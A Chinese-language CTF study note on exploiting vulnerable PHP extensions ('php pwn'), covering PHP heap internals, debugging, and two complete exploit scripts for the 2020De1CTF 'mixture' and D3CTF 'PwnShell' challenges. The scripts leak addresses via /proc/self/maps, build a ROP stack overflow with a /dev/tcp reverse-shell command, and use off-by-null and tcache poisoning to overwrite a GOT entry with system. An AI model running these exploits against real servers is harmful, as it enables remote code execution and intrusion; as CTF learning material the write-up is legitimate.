php pwn学习
基础知识
- php pwn开启远程得到的实际上是远程用apache搭建的一个web页面,和web息息相关
- 我们上传文件后可以直接访问url/exp.php执行写的攻击脚本,进而得到flag
- 文件上传可用html,模板如下。要用phpstudy开启apache服务,然后用html进行文件上传
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://192.168.76.128:8080/index.php" method="post" enctype="multipart/form-data">
<!--目标网址-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
php 内核探秘之 PHP_FUNCTION 宏
-
从
最终变为 -
也就是做题时引用函数,是用zif_这个后面的,比如addHacker,removeHacker这些
php 堆知识
- php中的string类型也是会用堆或者其他mmap的区域,但是不影响做题
- php中的堆是没有header这个0x10字节的
- PHP的堆机制与 ptmalloc并不相似,PHP的内存分配是一次性向系统中申请开辟的,PHP自身有个内存管理池,每次中请内存都会先在管理池中寻找合适的内存块,找不到才向系统中请内存。并且释放后的内存不交回给系统,而是放在内存管理池中继续使用。其管理机制,与 Kerne1中的slab/s1ub分配器类似,分配的堆结构并没有堆头,而是与内存桶对齐。
- PHP的空闲堆块,有一个 fd指针指向下一个相同大小的堆块。并日,这里对该指针并没有做过多检查,我们可以理解为2.27下的 tcache,可以直接使用 tcache poison攻击,将fd指向任意地址,实现分配堆块到任意地址。
常用php自定义函数
//等价于p64
function p64(string $value):string{
static $p64_table=[
0=>"\x00",1=>"\x01",2=>"\x02",3=>"\x03",4=>"\x04",5=>"\x05",6=>"\x06",7=>"\x07",8=>"\x08",9=>"\x09",10=>"\x0a",
11=>"\x0b",12=>"\x0c",13=>"\x0d",14=>"\x0e",15=>"\x0f",16=>"\x10",17=>"\x11",18=>"\x12",19=>"\x13",20=>"\x14",
21=>"\x15",22=>"\x16",23=>"\x17",24=>"\x18",25=>"\x19",26=>"\x1a",27=>"\x1b",28=>"\x1c",29=>"\x1d",30=>"\x1e",
31=>"\x1f",32=>"\x20",33=>"\x21",34=>"\x22",35=>"\x23",36=>"\x24",37=>"\x25",38=>"\x26",39=>"\x27",40=>"\x28",
41=>"\x29",42=>"\x2a",43=>"\x2b",44=>"\x2c",45=>"\x2d",46=>"\x2e",47=>"\x2f",48=>"\x30",49=>"\x31",50=>"\x32",
51=>"\x33",52=>"\x34",53=>"\x35",54=>"\x36",55=>"\x37",56=>"\x38",57=>"\x39",58=>"\x3a",59=>"\x3b",60=>"\x3c",
61=>"\x3d",62=>"\x3e",63=>"\x3f",64=>"\x40",65=>"\x41",66=>"\x42",67=>"\x43",68=>"\x44",69=>"\x45",70=>"\x46",
71=>"\x47",72=>"\x48",73=>"\x49",74=>"\x4a",75=>"\x4b",76=>"\x4c",77=>"\x4d",78=>"\x4e",79=>"\x4f",80=>"\x50",
81=>"\x51",82=>"\x52",83=>"\x53",84=>"\x54",85=>"\x55",86=>"\x56",87=>"\x57",88=>"\x58",89=>"\x59",90=>"\x5a",
91=>"\x5b",92=>"\x5c",93=>"\x5d",94=>"\x5e",95=>"\x5f",96=>"\x60",97=>"\x61",98=>"\x62",99=>"\x63",100=>"\x64",
101=>"\x65",102=>"\x66",103=>"\x67",104=>"\x68",105=>"\x69",106=>"\x6a",107=>"\x6b",108=>"\x6c",109=>"\x6d",110=>"\x6e",
111=>"\x6f",112=>"\x70",113=>"\x71",114=>"\x72",115=>"\x73",116=>"\x74",117=>"\x75",118=>"\x76",119=>"\x77",120=>"\x78",
121=>"\x79",122=>"\x7a",123=>"\x7b",124=>"\x7c",125=>"\x7d",126=>"\x7e",127=>"\x7f",128=>"\x80",129=>"\x81",130=>"\x82",
131=>"\x83",132=>"\x84",133=>"\x85",134=>"\x86",135=>"\x87",136=>"\x88",137=>"\x89",138=>"\x8a",139=>"\x8b",140=>"\x8c",
141=>"\x8d",142=>"\x8e",143=>"\x8f",144=>"\x90",145=>"\x91",146=>"\x92",147=>"\x93",148=>"\x94",149=>"\x95",150=>"\x96",
151=>"\x97",152=>"\x98",153=>"\x99",154=>"\x9a",155=>"\x9b",156=>"\x9c",157=>"\x9d",158=>"\x9e",159=>"\x9f",160=>"\xa0",
161=>"\xa1",162=>"\xa2",163=>"\xa3",164=>"\xa4",165=>"\xa5",166=>"\xa6",167=>"\xa7",168=>"\xa8",169=>"\xa9",170=>"\xaa",
171=>"\xab",172=>"\xac",173=>"\xad",174=>"\xae",175=>"\xaf",176=>"\xb0",177=>"\xb1",178=>"\xb2",179=>"\xb3",180=>"\xb4",
181=>"\xb5",182=>"\xb6",183=>"\xb7",184=>"\xb8",185=>"\xb9",186=>"\xba",187=>"\xbb",188=>"\xbc",189=>"\xbd",190=>"\xbe",
191=>"\xbf",192=>"\xc0",193=>"\xc1",194=>"\xc2",195=>"\xc3",196=>"\xc4",197=>"\xc5",198=>"\xc6",199=>"\xc7",200=>"\xc8",
201=>"\xc9",202=>"\xca",203=>"\xcb",204=>"\xcc",205=>"\xcd",206=>"\xce",207=>"\xcf",208=>"\xd0",209=>"\xd1",210=>"\xd2",
211=>"\xd3",212=>"\xd4",213=>"\xd5",214=>"\xd6",215=>"\xd7",216=>"\xd8",217=>"\xd9",218=>"\xda",219=>"\xdb",220=>"\xdc",
221=>"\xdd",222=>"\xde",223=>"\xdf",224=>"\xe0",225=>"\xe1",226=>"\xe2",227=>"\xe3",228=>"\xe4",229=>"\xe5",230=>"\xe6",
231=>"\xe7",232=>"\xe8",233=>"\xe9",234=>"\xea",235=>"\xeb",236=>"\xec",237=>"\xed",238=>"\xee",239=>"\xef",240=>"\xf0",
241=>"\xf1",242=>"\xf2",243=>"\xf3",244=>"\xf4",245=>"\xf5",246=>"\xf6",247=>"\xf7",248=>"\xf8",249=>"\xf9",250=>"\xfa",
251=>"\xfb",252=>"\xfc",253=>"\xfd",254=>"\xfe",255=>"\xff"
];
$result = "";
for($i = 0; $i < 8; $i++){
$remainder = $value % 0x100;
$value = (int)($value/0x100);
$result .= $p64_table[$remainder];
}
return $result;
}
//等价于u64
function u64(string $bytes):int{
static $u64_table=[
"\x00"=>0,"\x01"=>1,"\x02"=>2,"\x03"=>3,"\x04"=>4,"\x05"=>5,"\x06"=>6,"\x07"=>7,"\x08"=>8,"\x09"=>9,"\x0a"=>10,
"\x0b"=>11,"\x0c"=>12,"\x0d"=>13,"\x0e"=>14,"\x0f"=>15,"\x10"=>16,"\x11"=>17,"\x12"=>18,"\x13"=>19,"\x14"=>20,
"\x15"=>21,"\x16"=>22,"\x17"=>23,"\x18"=>24,"\x19"=>25,"\x1a"=>26,"\x1b"=>27,"\x1c"=>28,"\x1d"=>29,"\x1e"=>30,
"\x1f"=>31,"\x20"=>32,"\x21"=>33,"\x22"=>34,"\x23"=>35,"\x24"=>36,"\x25"=>37,"\x26"=>38,"\x27"=>39,"\x28"=>40,
"\x29"=>41,"\x2a"=>42,"\x2b"=>43,"\x2c"=>44,"\x2d"=>45,"\x2e"=>46,"\x2f"=>47,"\x30"=>48,"\x31"=>49,"\x32"=>50,
"\x33"=>51,"\x34"=>52,"\x35"=>53,"\x36"=>54,"\x37"=>55,"\x38"=>56,"\x39"=>57,"\x3a"=>58,"\x3b"=>59,"\x3c"=>60,
"\x3d"=>61,"\x3e"=>62,"\x3f"=>63,"\x40"=>64,"\x41"=>65,"\x42"=>66,"\x43"=>67,"\x44"=>68,"\x45"=>69,"\x46"=>70,
"\x47"=>71,"\x48"=>72,"\x49"=>73,"\x4a"=>74,"\x4b"=>75,"\x4c"=>76,"\x4d"=>77,"\x4e"=>78,"\x4f"=>79,"\x50"=>80,
"\x51"=>81,"\x52"=>82,"\x53"=>83,"\x54"=>84,"\x55"=>85,"\x56"=>86,"\x57"=>87,"\x58"=>88,"\x59"=>89,"\x5a"=>90,
"\x5b"=>91,"\x5c"=>92,"\x5d"=>93,"\x5e"=>94,"\x5f"=>95,"\x60"=>96,"\x61"=>97,"\x62"=>98,"\x63"=>99,"\x64"=>100,
"\x65"=>101,"\x66"=>102,"\x67"=>103,"\x68"=>104,"\x69"=>105,"\x6a"=>106,"\x6b"=>107,"\x6c"=>108,"\x6d"=>109,"\x6e"=>110,
"\x6f"=>111,"\x70"=>112,"\x71"=>113,"\x72"=>114,"\x73"=>115,"\x74"=>116,"\x75"=>117,"\x76"=>118,"\x77"=>119,"\x78"=>120,
"\x79"=>121,"\x7a"=>122,"\x7b"=>123,"\x7c"=>124,"\x7d"=>125,"\x7e"=>126,"\x7f"=>127,"\x80"=>128,"\x81"=>129,"\x82"=>130,
"\x83"=>131,"\x84"=>132,"\x85"=>133,"\x86"=>134,"\x87"=>135,"\x88"=>136,"\x89"=>137,"\x8a"=>138,"\x8b"=>139,"\x8c"=>140,
"\x8d"=>141,"\x8e"=>142,"\x8f"=>143,"\x90"=>144,"\x91"=>145,"\x92"=>146,"\x93"=>147,"\x94"=>148,"\x95"=>149,"\x96"=>150,
"\x97"=>151,"\x98"=>152,"\x99"=>153,"\x9a"=>154,"\x9b"=>155,"\x9c"=>156,"\x9d"=>157,"\x9e"=>158,"\x9f"=>159,"\xa0"=>160,
"\xa1"=>161,"\xa2"=>162,"\xa3"=>163,"\xa4"=>164,"\xa5"=>165,"\xa6"=>166,"\xa7"=>167,"\xa8"=>168,"\xa9"=>169,"\xaa"=>170,
"\xab"=>171,"\xac"=>172,"\xad"=>173,"\xae"=>174,"\xaf"=>175,"\xb0"=>176,"\xb1"=>177,"\xb2"=>178,"\xb3"=>179,"\xb4"=>180,
"\xb5"=>181,"\xb6"=>182,"\xb7"=>183,"\xb8"=>184,"\xb9"=>185,"\xba"=>186,"\xbb"=>187,"\xbc"=>188,"\xbd"=>189,"\xbe"=>190,
"\xbf"=>191,"\xc0"=>192,"\xc1"=>193,"\xc2"=>194,"\xc3"=>195,"\xc4"=>196,"\xc5"=>197,"\xc6"=>198,"\xc7"=>199,"\xc8"=>200,
"\xc9"=>201,"\xca"=>202,"\xcb"=>203,"\xcc"=>204,"\xcd"=>205,"\xce"=>206,"\xcf"=>207,"\xd0"=>208,"\xd1"=>209,"\xd2"=>210,
"\xd3"=>211,"\xd4"=>212,"\xd5"=>213,"\xd6"=>214,"\xd7"=>215,"\xd8"=>216,"\xd9"=>217,"\xda"=>218,"\xdb"=>219,"\xdc"=>220,
"\xdd"=>221,"\xde"=>222,"\xdf"=>223,"\xe0"=>224,"\xe1"=>225,"\xe2"=>226,"\xe3"=>227,"\xe4"=>228,"\xe5"=>229,"\xe6"=>230,
"\xe7"=>231,"\xe8"=>232,"\xe9"=>233,"\xea"=>234,"\xeb"=>235,"\xec"=>236,"\xed"=>237,"\xee"=>238,"\xef"=>239,"\xf0"=>240,
"\xf1"=>241,"\xf2"=>242,"\xf3"=>243,"\xf4"=>244,"\xf5"=>245,"\xf6"=>246,"\xf7"=>247,"\xf8"=>248,"\xf9"=>249,"\xfa"=>250,
"\xfb"=>251,"\xfc"=>252,"\xfd"=>253,"\xfe"=>254,"\xff"=>255
];
$result = 0;
for($i = 7; $i >= 0; $i--){
$result = $u64_table[$bytes[$i]] + $result * 0x100;
}
return $result;
}
//变为64位的数字,这个仅限于打印string
function hex64(int $value):string{
static $hex64_table=[
0=>"0",1=>"1",2=>"2",3=>"3",4=>"4",5=>"5",6=>"6",7=>"7",8=>"8",9=>"9",10=>"a",
11=>"b",12=>"c",13=>"d",14=>"e",15=>"f"
];
$result = "";
for($i = 0; $i < 16; $i++){
$remainder = $value % 0x10;
$value = (int)($value/0x10);
$result = $hex64_table[$remainder] . $result;
}
return "0x" . $result;
}
//string to int
function s2i($s) {
$result = 0;
for ($x = 0;$x < strlen($s);$x++) {
$result <<= 8;
$result |= ord($s[$x]);
}
return $result;
}
//int to string,再进行read的时候肯定不能读入int,因此要转变为string
function i2s($i, $x = 8) {
$re = "";
for($j = 0;$j < $x;$j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}
调试相关
- 本来想用自己的wsl来用gdbserver来远程调试,但是发现好像不好使,docker的ip可以直接用ifconfig指令查看,但是发现windows下docker_ip:80都不无法访问网页,只有kali_ip:8080可以访问,可能docker与远程主机(kali)的防火墙设置的原因吧
- 这个脚本也是,在windows的wsl直接第一个remote连接都连不上,但是在虚拟机kali中可以连接上
- 最终决定在kali中用pwndbg,docker中用gdbserver开放端口
- gdbserver 172.17.0.2:6666 /usr/local/bin/php /var/www/html/exp.php 但实际操作发现这样是打不通远程的,要调试apache2才行
- 一般只有加载vuln.so库后才能根据符号打断点,发现是在call qword ptr [rdx+0x10]处加载了这个库
- 断点设置如下
b _start b *&__libc_start_main+128 b *&__libc_start_call_main+120 b pie+0x247a61 左右,估计和php版本有关
例题讲解
2020De1CTF-mixture
- 这个题的.so扩展函数的功能就是打开文件并且输出,memcpy没有限制n的大小有个很明显的栈溢出
- 主要思路是通过/proc/self/maps来泄露出libcbase,然后栈溢出反弹shell
- exp
<?php
$libc = "";
$stack = "";
//string to int
function s2i($s) {
$result = 0;
for ($x = 0;$x < strlen($s);$x++) {
$result <<= 8;
$result |= ord($s[$x]);
}
return $result;
}
//int to string
function i2s($i, $x = 8) {
$re = "";
for($j = 0;$j < $x;$j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}
function callback($buffer){
global $libc,$stack;
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2.27.so/';
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \[stack\]/';
preg_match_all($p, $buffer, $stack);
preg_match_all($p1, $buffer, $libc);
return "";
}
$command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';
//把Minclude输出的内容都存到buffer变量中
ob_start();
$a="/proc/self/maps";
Minclude($a);
$buffer=ob_get_contents();
ob_end_flush();
callback($buffer);
$stack = hexdec($stack[1][0]);
$libc_base = hexdec($libc[1][0]);
//基本的栈溢出
$payload=str_repeat("a",0x88);
$payload.=i2s($libc_base+0x215bf);
$payload.=i2s($stack+0x1ca98+0x90).i2s($libc_base+0x23eea);
$payload.=i2s($stack+0x1ca98+0x28).i2s($libc_base+0x80a10);
$payload.="r".str_repeat("\x00",0x7).str_repeat("c",0x60);
$payload.=$command.str_repeat("b",0x8);
Minclude($payload)
?>
D3CTF PwnShell
题目分析
- 题目中add是一个堆块ck2存另一个堆块的地址ck1,这就有了利用的机会,如果可以控制ck2的内容,那么就有任意地址写
- edit是通过*ck2来找到ck1的,因此和add对应会有任意地址写
- delete先free ck1再free ck2
exp
- 还是用/proc/self/maps来泄露libcbase和vuln.so的base
- off-by-null的利用,注意到\$b都是0x3f字节,为了避免off-by-null,free(7)后再add出来\$c是0x40字节,就会覆盖ck8'中存的ck8的地址,也即是图中0x80变成0x00,也就是对应着ck5
-
那么edit(8)就相当于edit ck5了,先把ck5 free掉,然后edit(8)就类似tcache poison的打法
-
第一次add出ck5,第二次add就是efree_got了,add同时写入system
- 最后类似打hijackgot攻击成功
<?php
function str2Hex($str) {
$hex = "";
for ($i = strlen($str) - 1;$i >= 0;$i--) $hex.= dechex(ord($str[$i]));
$hex = strtoupper($hex);
return $hex;
}
function int2Str($i, $x = 8) {
$re = "";
for ($j = 0; $j < $x; $j++) {
$re .= pack('C', $i & 0xff);
$i >>= 8;
}
return $re;
}
function hex64(int $value):string{
static $hex64_table=[
0=>"0",1=>"1",2=>"2",3=>"3",4=>"4",5=>"5",6=>"6",7=>"7",8=>"8",9=>"9",10=>"a",
11=>"b",12=>"c",13=>"d",14=>"e",15=>"f"
];
$result = "";
for($i = 0; $i < 16; $i++){
$remainder = $value % 0x10;
$value = (int)($value/0x10);
$result = $hex64_table[$remainder] . $result;
}
return "0x" . $result;
}
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
// echo $buffer.'<br>';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
$libc="";
$mbase="";
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);
echo hex64($libc_base).'<br>';
echo hex64($mod_base).'<br>';
$system_addr = 0x4c490;
$efree_got = 0x4038;
$a = str_repeat("a", 0x40);
$b = str_repeat("b", 0x3f);
for ($i = 1; $i < 0xe; $i++) {
$n = 0x61 + $i;
$aa = pack("C", $n);
$aaa = str_repeat($aa, 0x40); //0x40大小的堆块
//addHacker中arg1是被放在另一个堆块上的
addHacker($aaa, $b);
}
$cmd = "/readflag > /var/www/html/flag.txt\x00";
editHacker(0,$cmd);
removeHacker(7);
$c = str_repeat("c", 0x40);
//这里会利用off-by-null
addHacker($a, $c); //把原来7的位置顶替,同时覆盖8原来的存的ck的最低字节为\x00
removeHacker(5);
editHacker(8, int2str($mod_base+$efree_got)); #edit 8 相当于可以edit ck5
addHacker($a, $b);
$payload = str_repeat(int2str($libc_base+$system_addr),8);
addHacker($payload, $b);
removeHacker(0);
?>
0 条评论
可输入 255 字